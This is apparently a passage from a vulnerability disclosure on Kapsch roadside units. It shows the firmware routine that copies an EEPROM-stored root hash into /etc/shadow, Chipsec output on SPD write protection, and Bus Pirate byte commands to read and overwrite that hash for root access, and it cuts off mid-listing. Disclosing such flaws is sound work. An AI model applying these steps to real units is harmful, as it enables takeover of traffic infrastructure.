text stringlengths 0 1.99k |
|---|
echo ${ROOT_LINE} | sed -es":\::\:${ENCRYPTED_PASSWORD}\::" >> ${TMPFILE} |
mv ${TMPFILE} /etc/shadow |
} |
function handle_root_password { |
if [ ! -e ${ETC_EEPROM}/.p.eesign.status ]; then |
return 0 |
fi |
if [[ `cat ${ETC_EEPROM}/.p.eesign.status` != 'ok' ]]; then |
return 0 |
fi |
if [ ! -e ${ETC_EEPROM}/p.root.password ]; then |
return 0 |
fi |
update_shadow_file_rootuser `cat ${ETC_EEPROM}/p.root.password` |
Lets look at the Chipsec output that flags the actual issue: |
[x][ Module: SPD Write Disable |
[*] SMBUS_HCFG = 0x01 << Host |
Configuration (b:d.f 00:31.3 + 0x40) |
[04] SPD_WD = 0 << SPD_WD |
[-] FAILED: SPD Write Disable is not set and SPDs were detected |
To read the root users hashed password with bus pirate: |
[0xAE 0x05 0xC9] [0xAF r:16] |
Which returns something like: |
RX: 0x15 ACK 0x6F ACK 0x2E ACK 0x6F ACK 0x70 ACK 0x65 ACK 0x72 ACK 0x61 |
ACK.. |
When you decode, it looks like: |
$6$BqXRbsRiiI1MI6WE$RT68Njgv1LyqxjgNJ8Od1mLjm0NuWbEE7 |
6z35a4XXXu7.SosIHaCgABcGM1s4xTFOywTaNFLu9SCXXXSvAPo.1 |
Now with physical access, you can use the following command to overwrite |
the root user's hash (replace the bytes after the 3rd byte on each line |
with the hash you want ) |
Bus Pirate Command (One line at a time): |
[0xAE 0x05 0xC9 0x24 0x36 0x24 0x5a 0x39 0x4c 0x37 0x58 0x71 0x4b |
0x6a 0x4b 0x38 0x34 0x76 0x77] |
[0xAE 0x05 0xD9 0x65 0x45 0x4f 0x24 |
0x78 0x7a 0x47 0x6c 0x63 0x5a 0x54 0x37 0x51 0x45 0x6a 0x35] |
[0xAE |
0x05 0xE9 0x55 0x6d 0x58 0x52 0x71 0x6b 0x70 0x78 0x36 0x39 0x42 0x66 |
0x4b 0x36 0x62 0x57] |
[0xAE 0x05 0xF9 0x47 0x4a 0x57 0x73 0x4b 0x41 0x75 |
0x46 0x31 0x75 0x36 0x44 0x39 0x4a 0x59 0x71] |
[0xAE 0x06 0x09 0x32 0x6a |
0x41 0x4b 0x50 0x68 0x79 0x6d 0x42 0x35 0x38 0x33 0x61 0x69 0x4a 0x35] |
[0xAE 0x06 0x19 0x2f 0x75 0x50 0x70 0x45 0x41 0x48 0x67 0x47 0x32 |
0x4a 0x79 0x72 0x67 0x5a 0x4e] |
[0xAE 0x06 0x29 0x79 0x35 0x43 0x62 |
0x77 0x77 0x34 0x6b 0x44 0x31] |
Alternatively, with local access the RSUs come preinstalled with at least |
two tools that allow you to modify the EEPROM in userspace. |
First is infotool, an interactive custom information tool included with |
the firmware. Output looks like: |
Kapsch >> Info Tool |
-------------------- |
Information |
------------ |
EEPROMs |
------------ |
CB |
------------ |
< |
press up for more ... > |
p.obslot0.serial : NLXX132E00XXXX |
p.pps.offset : 0x00 |
p.ps.extpower : 1 |
p.ps.poe |
: 1 |
p.radio1.a.mac : 00:e0:6a:01:xx:xx |
p.radio1.ant1.atten : |
5 |
p.radio1.ant2.atten : 10 |
p.radio1.b.mac : 00:e0:6a:01:xx:xx |
p.radio1.name : ALPS-UMPZ2A3001A |
p.radio2.a.mac : |
00:E0:4B:57:XX:XX |
p.radio2.ant1.atten : 5 |
p.radio2.ant2.atten : |
10 |
p.radio2.b.mac : 00:E0:4B:57:XX:XX |
p.radio2.name : |
ALPS UMZ2 V753 |
p.revision : 03 |
p.root.password : |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.